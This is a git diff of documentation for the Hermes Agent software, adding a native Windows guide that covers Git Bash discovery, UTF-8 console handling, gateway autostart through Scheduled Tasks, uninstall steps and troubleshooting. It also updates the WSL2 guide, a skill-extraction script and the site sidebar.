`HERMES_GIT_BASH_PATH` environment variable if set. +2. `%LOCALAPPDATA%\hermes\git\usr\bin\bash.exe` (installer-managed PortableGit). +3. `%LOCALAPPDATA%\hermes\git\bin\bash.exe` (older Git-for-Windows layout). +4. System Git-for-Windows install (`%ProgramFiles%\Git\bin\bash.exe`, etc.). +5. MSYS2, Cygwin, or any `bash.exe` on PATH as a last resort. + +The installer sets `HERMES_GIT_BASH_PATH` explicitly so fresh PowerShell sessions don't have to re-discover. Override it if you want Hermes to use a specific bash — for example, your system Git Bash or a WSL-hosted bash via a symlink. + +**Pitfall:** MinGit's layout is different from the full Git-for-Windows installer — bash lives under `usr\bin\bash.exe`, not `bin\bash.exe`. Hermes checks both. If you're manually unpacking a MinGit zip, make sure you pick the **non-busybox** variant (`MinGit-*-64-bit.zip`, not `MinGit-*-busybox*.zip`) — busybox builds ship `ash` instead of `bash` and most coreutils are missing. + +## UTF-8 console on Windows + +Python's default stdio on Windows uses the console's active code page (usually cp1252 or cp437). Hermes's banner, slash-command list, tool feed, Rich panels, and skill descriptions all contain Unicode. Without intervention, any of that crashes with `UnicodeEncodeError: 'charmap' codec can't encode character…`. + +The fix is in `hermes_cli/stdio.py::configure_windows_stdio()`, called early in every entry point (`cli.py::main`, `hermes_cli/main.py::main`, `gateway/run.py::main`). It: + +1. Flips the console code page to CP_UTF8 (65001) via `kernel32.SetConsoleCP` / `SetConsoleOutputCP`. +2. Reconfigures `sys.stdout` / `sys.stderr` / `sys.stdin` to UTF-8 with `errors='replace'`. +3. Sets `PYTHONIOENCODING=utf-8` and `PYTHONUTF8=1` (via `setdefault`, so explicit user values win) so child Python subprocesses inherit UTF-8. +4. Sets `EDITOR=notepad` if neither `EDITOR` nor `VISUAL` is set (see the Editor section below). + +Idempotent. No-op on non-Windows. + +**Opt out:** `HERMES_DISABLE_WINDOWS_UTF8=1` in the environment falls back to the legacy cp1252 stdio path. Useful for bisecting an encoding bug; unlikely to be the right setting in normal operation. + +## The editor (`Ctrl-X Ctrl-E`, `/edit`) + +Pre-#21561, pressing `Ctrl-X Ctrl-E` or typing `/edit` silently did nothing on Windows. prompt_toolkit has a hardcoded POSIX-absolute fallback list (`/usr/bin/nano`, `/usr/bin/pico`, `/usr/bin/vi`, …) that never resolves on Windows — even with full Git for Windows installed. + +Hermes's Windows stdio shim now sets `EDITOR=notepad` as a default. Notepad ships with every Windows install and works as a blocking editor — `subprocess.call(["notepad", file])` blocks until the window closes. + +**User overrides still win** (they're checked before the setdefault): + +| Editor | PowerShell command | +|---|---| +| VS Code | `$env:EDITOR = "code --wait"` | +| Notepad++ | `$env:EDITOR = "'C:\Program Files\Notepad++\notepad++.exe' -multiInst -nosession"` | +| Neovim | `$env:EDITOR = "nvim"` | +| Helix | `$env:EDITOR = "hx"` | + +The `--wait` flag on VS Code is critical — without it the editor returns immediately and Hermes gets a blank buffer back. + +Set it permanently in your PowerShell profile: + +```powershell +# In $PROFILE +$env:EDITOR = "code --wait" +``` + +Or as a User environment variable in System Settings so every new shell picks it up. + +## `Ctrl+Enter` for newline in the CLI + +Windows Terminal passes `Ctrl+Enter` through as a dedicated key sequence. Hermes binds it to "insert newline" so you can compose multi-line prompts in the CLI without falling back to `Esc`-then-`Enter`. Works in Windows Terminal, VS Code integrated terminal, and any modern Windows console host that honors VT escape sequences. + +On legacy `cmd.exe` consoles `Ctrl+Enter` collapses to plain `Enter` — use `Esc Enter` instead, or upgrade to Windows Terminal (it's free and installed by default on Windows 11). + +## Running the gateway at Windows login + +`hermes gateway install` on Windows uses **Scheduled Tasks** with a Startup-folder fallback — no admin required. + +### Install + +```powershell +hermes gateway install +``` + +What happens under the hood: + +1. `schtasks /Create /SC ONLOGON /RL LIMITED /TN HermesGateway` — registers a task that runs at your login with standard (non-elevated) permissions. No UAC prompt. +2. If schtasks is blocked by group policy, falls back to writing a `start /min cmd.exe /d /c ` shortcut into `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`. Same effect, slightly cruder. +3. Spawns the gateway **detached via `pythonw.exe`** — not `python.exe`. `pythonw.exe` has no console attached, which immunizes it against `CTRL_C_EVENT` broadcasts from sibling processes (a real issue that used to kill the gateway when you Ctrl+C'd anything in the same process group). + +Flags used when spawning: `DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP | CREATE_NO_WINDOW | CREATE_BREAKAWAY_FROM_JOB`. + +### Manage + +```powershell +hermes gateway status # Merged view: schtasks + Startup folder + running PID +hermes gateway start # Starts the scheduled task now +hermes gateway stop # Graceful SIGTERM equivalent (TerminateProcess via psutil) +hermes gateway restart +hermes gateway uninstall # Removes schtasks entry, Startup shortcut, pid file +``` + +`hermes gateway status` is idempotent — call it a thousand times in a row and it will never accidentally kill the gateway. (Pre-PR #21561 it silently did, via `os.kill(pid, 0)` colliding with `CTRL_C_EVENT` at the C level — see "process management internals" below if you care about the story.) + +### Why not a Windows Service? + +Services require admin rights to install and tie the gateway's lifecycle to machine boot, not user login. The typical Hermes user wants: log in → gateway available, log out → gateway gone. Scheduled Tasks do exactly that without elevation. If you genuinely want a service, use `nssm` or `sc create` manually — but you probably don't. + +## Data layout + +| Path | Contents | +|---|---| +| `%LOCALAPPDATA%\hermes\hermes-agent\` | Git checkout + venv. Safe to `Remove-Item -Recurse` and reinstall. | +| `%LOCALAPPDATA%\hermes\git\` | PortableGit (only if the installer provisioned it). | +| `%LOCALAPPDATA%\hermes\node\` | Portable Node.js (only if the installer provisioned it). | +| `%LOCALAPPDATA%\hermes\bin\` | `hermes.cmd` shim, added to User PATH. | +| `%USERPROFILE%\.hermes\` | Your config, auth, skills, sessions, logs. **Survives reinstalls.** | + +The split is deliberate: `%LOCALAPPDATA%\hermes` is disposable infrastructure (you can blow it away and the one-liner restores it). `%USERPROFILE%\.hermes` is your data — config, memory, skills, session history — and is identical in shape to a Linux install. Mirror it between machines and your Hermes moves with you. + +**Override `HERMES_HOME`:** set the environment variable to point at a different data dir. Works the same as on Linux. + +## Browser tool + +The browser tool uses `agent-browser` (a Node helper) to drive Chromium. On Windows: + +- The installer puts `agent-browser` on PATH via npm. +- `shutil.which("agent-browser", path=...)` picks up the `.cmd` shim automatically — `CreateProcessW` can't execute an extensionless shebang, so Hermes always resolves to the `.CMD` wrapper. Don't manually invoke the shebang script; always go through the `.cmd`. +- Playwright Chromium is auto-installed on first run (`npx playwright install chromium`). If installation fails, `hermes doctor` surfaces it with a fix-it hint. + +## Running Hermes on Windows — practical notes + +### PATH after install + +The installer adds `%LOCALAPPDATA%\hermes\bin` to your **User PATH** via `[Environment]::SetEnvironmentVariable`. Existing terminals don't pick this up — open a new PowerShell window (or Windows Terminal tab) after installation. Close-and-reopen, don't `$env:PATH += …` by hand unless you know what you're doing. + +Verify: + +```powershell +Get-Command hermes # should print C:\Users\\AppData\Local\hermes\bin\hermes.cmd +hermes --version +``` + +### Environment variables + +Hermes honors both `$env:X` (process-scope) and User environment variables (permanent, set in System Properties → Environment Variables). Setting API keys in `%USERPROFILE%\.hermes\.env` is the normal path — same as Linux: + +``` +OPENROUTER_API_KEY=sk-or-... +TELEGRAM_BOT_TOKEN=... +``` + +Don't put secrets in User environment variables unless you specifically want every Windows process to see them (it isn't what you want). + +### Windows-specific env vars + +These only affect native Windows installs: + +| Variable | Effect | +|---|---| +| `HERMES_GIT_BASH_PATH` | Override bash.exe discovery. Point at any bash — full Git-for-Windows, WSL bash via symlink, MSYS2, Cygwin. The installer sets this automatically. | +| `HERMES_DISABLE_WINDOWS_UTF8` | Set to `1` to disable the UTF-8 stdio shim and fall back to the locale code page. Useful for bisecting an encoding bug. | +| `EDITOR` / `VISUAL` | Your editor for `/edit` and `Ctrl-X Ctrl-E`. Hermes defaults to `notepad` if both are unset. | + +## Uninstall + +From PowerShell: + +```powershell +hermes uninstall +``` + +That's the clean path — removes the schtasks entry, Startup folder shortcut, `hermes.cmd` shim, deletes `%LOCALAPPDATA%\hermes\hermes-agent\`, and trims the User PATH. It leaves `%USERPROFILE%\.hermes\` alone (your config, auth, skills, sessions, logs) in case you're reinstalling. + +To nuke everything: + +```powershell +hermes uninstall +Remove-Item -Recurse -Force "$env:USERPROFILE\.hermes" +Remove-Item -Recurse -Force "$env:LOCALAPPDATA\hermes" +``` + +The `hermes uninstall` CLI subcommand also handles the case where the schtasks entry was registered under a different task name (older installs) — it searches by install path rather than by hardcoded task name. + +## Process management internals + +This is background material — skip unless you're debugging an "it's killing itself" weirdness. + +On Linux and macOS, the POSIX idiom `os.kill(pid, 0)` is a no-op permission check: "is this PID alive and can I signal it?" On Windows, Python's `os.kill` maps `sig=0` to `CTRL_C_EVENT` — they collide at integer value 0 — and routes it through `GenerateConsoleCtrlEvent(0, pid)`, which broadcasts Ctrl+C to the **entire console process group** containing the target PID. That's [bpo-14484](https://bugs.python.org/issue14484), open since 2012. It won't be fixed because changing it would break scripts that depend on the current behavior. + +Consequence: any codepath that said "check if this PID is alive" via `os.kill(pid, 0)` on Windows was silently killing the target. Hermes migrated every such site (14 across 11 files) to `gateway.status._pid_exists()`, which uses `psutil.pid_exists()` (which in turn uses `OpenProcess + GetExitCodeProcess` on Windows — no signals). If you're writing a plugin or patch, use `psutil.pid_exists()` directly or `gateway.status._pid_exists()` — never `os.kill(pid, 0)`. + +`scripts/check-windows-footguns.py` enforces this in CI: any new `os.kill(pid, 0)` call fails the `Windows footguns (blocking)` check unless the line carries a `# windows-footgun: ok — ` marker. + +## Common pitfalls + +**`hermes: command not found` right after install.** +Open a new PowerShell window. The installer added `%LOCALAPPDATA%\hermes\bin` to User PATH, but existing shells need to be restarted to pick it up. In the meantime you can run `& "$env:LOCALAPPDATA\hermes\bin\hermes.cmd"`. + +**`WinError 193: %1 is not a valid Win32 application` when running a tool.** +You hit a shebang-script invocation that bypassed the `.cmd` shim. Hermes resolves commands through `shutil.which(cmd, path=local_bin)` so PATHEXT picks up `.CMD` — if you're invoking the tool via a hardcoded path instead, switch to the `.cmd` variant (e.g., `npx.cmd`, not `npx`). + +**`[scriptblock]::Create(...)` fails with `The assignment expression is not valid`.** +Your download of `install.ps1` picked up a UTF-8 BOM. The `irm | iex` form strips BOMs automatically; `[scriptblock]::Create((irm ...))` does not. Re-run with the simple `irm | iex` form, or download the script manually and save it without a BOM via `[IO.File]::WriteAllText($path, $text, (New-Object Text.UTF8Encoding $false))`. + +**Gateway won't stay running after restart.** +Check `hermes gateway status` — it merges the schtasks entry, the Startup-folder shortcut (if used), and the live PID. If schtasks is registered but not running, group policy may be blocking `ONLOGON` triggers. Run `schtasks /Query /TN HermesGateway /V /FO LIST` to see the task's failure reason, or fall back to the Startup-folder path by uninstalling and reinstalling with `HERMES_GATEWAY_FORCE_STARTUP=1`. + +**`/edit` still does nothing after setting `$env:EDITOR`.** +You set it in the current process only; close and reopen the shell, or set it at User scope in System Properties → Environment Variables. Verify with `echo $env:EDITOR` in a new PowerShell window. + +**Browser tool launches but tools time out.** +Chromium is auto-installed on first run. If the install failed (rate-limited GitHub, Playwright CDN hiccup), run `hermes doctor` — it will surface the missing Chromium and print the exact `npx playwright install chromium` command to fix it. + +**`agent-browser` fails with a weird Node version error.** +The installer provisions Node 22 at `%LOCALAPPDATA%\hermes\node` but your PATH may have an older system Node 18 first. Either move Hermes's node dir earlier on PATH, or delete the system install if you don't use Node elsewhere. + +**Chinese / Japanese / Arabic characters show as `?` in the CLI.** +The UTF-8 stdio shim didn't activate. Check that `HERMES_DISABLE_WINDOWS_UTF8` is NOT set (`Get-ChildItem env:HERMES_DISABLE_WINDOWS_UTF8`). If it's empty and you still see `?`, the console host (very old `cmd.exe`) may not support UTF-8 at all — switch to Windows Terminal. + +**Gateway can't send Telegram photos — "`BadRequest: payload contains invalid characters`".** +This is unrelated to Windows but sometimes surfaces first there. Usually it means your file path contains unescaped backslashes in a JSON body. Telegram should be receiving paths Hermes normalizes, not raw Windows paths — if you're seeing this inside a custom plugin, make sure you're passing the Hermes-provided path, not `str(Path(...))` from user input. + +**"Works on my other machine" encoding weirdness after `git pull`.** +If you edited Hermes config or a skill on Windows using a non-UTF-8 editor (Notepad on older Windows versions, some Chinese IMEs), the file may have been saved with a BOM. Hermes tolerates `utf-8-sig` on most config reads, but a BOM inside a folded YAML scalar (`description: >`) silently breaks YAML parsing. Re-save the file as plain UTF-8 without BOM. + +## Where to go next + +- **[Installation](../getting-started/installation.md)** — the full install page, including Linux/macOS/WSL2/Termux. +- **[Windows (WSL2) Guide](./windows-wsl-quickstart.md)** — if you want POSIX semantics or the dashboard terminal pane. +- **[CLI Reference](../reference/cli-commands.md)** — every `hermes` subcommand. +- **[FAQ](../reference/faq.md)** — common non-Windows-specific questions. +- **[Messaging Gateway](./messaging/index.md)** — running Telegram/Discord/Slack on Windows. diff --git a/website/docs/user-guide/windows-wsl-quickstart.md b/website/docs/user-guide/windows-wsl-quickstart.md index e3c057d22d8..98024ab8623 100644 --- a/website/docs/user-guide/windows-wsl-quickstart.md +++ b/website/docs/user-guide/windows-wsl-quickstart.md @@ -7,7 +7,18 @@ sidebar_position: 2 # Windows (WSL2) Guide -Hermes Agent is developed and tested on **Linux** and **macOS**. Native Windows is not supported — on Windows you run Hermes inside **WSL2** (Windows Subsystem for Linux, version 2). That means there are effectively two computers in play: your Windows host, and a Linux VM managed by WSL. Most confusion comes from not being sure which one you're on at any moment. +Hermes Agent now supports **both** native Windows and WSL2. This page covers the WSL2 path; for the native PowerShell install see the dedicated **[Windows (Native) Guide](./windows-native.md)**. + +**When to pick WSL2 over native:** +- You want to use the dashboard's embedded terminal (`/chat` tab) — that pane requires a POSIX PTY and is WSL2-only. +- You're doing POSIX-heavy development work and want your Hermes sessions to share the same filesystem / paths as your dev tools. +- You already have a WSL2 environment and don't want to maintain a second install. + +**When native is fine (or better):** +- Interactive chat, gateway (Telegram/Discord/etc.), cron scheduler, browser tool, MCP servers, and most Hermes features all run natively on Windows. +- You don't want to think about crossing the WSL↔Windows boundary every time you reference a file or open a URL. + +In WSL2 there are effectively two computers in play: your Windows host, and a Linux VM managed by WSL. Most confusion comes from not being sure which one you're on at any moment. This guide covers the parts of that split that specifically affect Hermes: installing WSL2, getting files back and forth between Windows and Linux, networking in both directions, and the pitfalls people actually hit. @@ -15,11 +26,13 @@ This guide covers the parts of that split that specifically affect Hermes: insta A Chinese-language walkthrough of the minimum install path is maintained on this same page — switch via the **language** menu (top right) and select **简体中文**. ::: -## Why WSL2 (and not "just Windows") +## Why WSL2 (vs. native Windows) -Hermes assumes a POSIX environment: `fork`, `/tmp`, UNIX sockets, signal semantics, PTY-backed terminals, shells like `bash`/`zsh`, and tools like `rg`, `git`, `ffmpeg` that behave the way they do on Linux. Rewriting that for native Windows would be a full port — WSL2 gives you a real Linux kernel in a lightweight VM instead, and Hermes inside it is essentially identical to running on Ubuntu. +The native Windows install runs in Windows directly: your Windows terminal (PowerShell, Windows Terminal, etc.), Windows filesystem paths (`C:\Users\…`), and Windows processes. Hermes uses Git Bash to run shell commands, which is how Claude Code and other agents handle Windows today — it sidesteps the POSIX-vs-Windows gap without a full rewrite. -Practical consequences of this choice: +WSL2 runs a real Linux kernel in a lightweight VM, so Hermes inside it is essentially identical to running on Ubuntu. That's valuable when you want a real POSIX environment: `fork`, `/tmp`, UNIX sockets, signal semantics, PTY-backed terminals, shells like `bash`/`zsh`, and tools like `rg`, `git`, `ffmpeg` that behave the way they do on Linux. + +Practical consequences of WSL2: - The Hermes CLI, gateway, sessions, memory, skills, and tool runtimes all live inside the Linux VM. - Windows programs (browsers, native apps, Chrome with your logged-in profile) live outside it. diff --git a/website/scripts/extract-skills.py b/website/scripts/extract-skills.py index 79413aec0fe..b106a9527b8 100644 --- a/website/scripts/extract-skills.py +++ b/website/scripts/extract-skills.py @@ -69,7 +69,7 @@ def extract_local_skills(): continue skill_path = os.path.join(root, "SKILL.md") - with open(skill_path) as f: + with open(skill_path, encoding="utf-8") as f: content = f.read() if not content.startswith("---"): @@ -128,7 +128,7 @@ def extract_cached_index_skills(): filepath = os.path.join(INDEX_CACHE_DIR, filename) try: - with open(filepath) as f: + with open(filepath, encoding="utf-8") as f: data = json.load(f) except (json.JSONDecodeError, OSError): continue @@ -254,7 +254,7 @@ def main(): )) os.makedirs(os.path.dirname(OUTPUT), exist_ok=True) - with open(OUTPUT, "w") as f: + with open(OUTPUT, "w", encoding="utf-8") as f: json.dump(all_skills, f, indent=2) print(f"Extracted {len(all_skills)} skills to {OUTPUT}") diff --git a/website/sidebars.ts b/website/sidebars.ts index f46e2d56590..938eb9c0677 100644 --- a/website/sidebars.ts +++ b/website/sidebars.ts @@ -23,6 +23,7 @@ const sidebars: SidebarsConfig = { items: [ 'user-guide/cli', 'user-guide/tui', + 'user-guide/windows-native', 'user-guide/windows-wsl-quickstart', 'user-guide/configuration', 'user-guide/configuring-models', @@ -138,6 +139,7 @@ const sidebars: SidebarsConfig = { 'user-guide/messaging/qqbot', 'user-guide/messaging/yuanbao', 'user-guide/messaging/teams', + 'user-guide/messaging/teams-meetings', 'user-guide/messaging/msgraph-webhook', 'user-guide/messaging/open-webui', 'user-guide/messaging/webhooks', @@ -185,6 +187,7 @@ const sidebars: SidebarsConfig = { 'guides/aws-bedrock', 'guides/azure-foundry', 'guides/microsoft-graph-app-registration', + 'guides/operate-teams-meeting-pipeline', ], }, {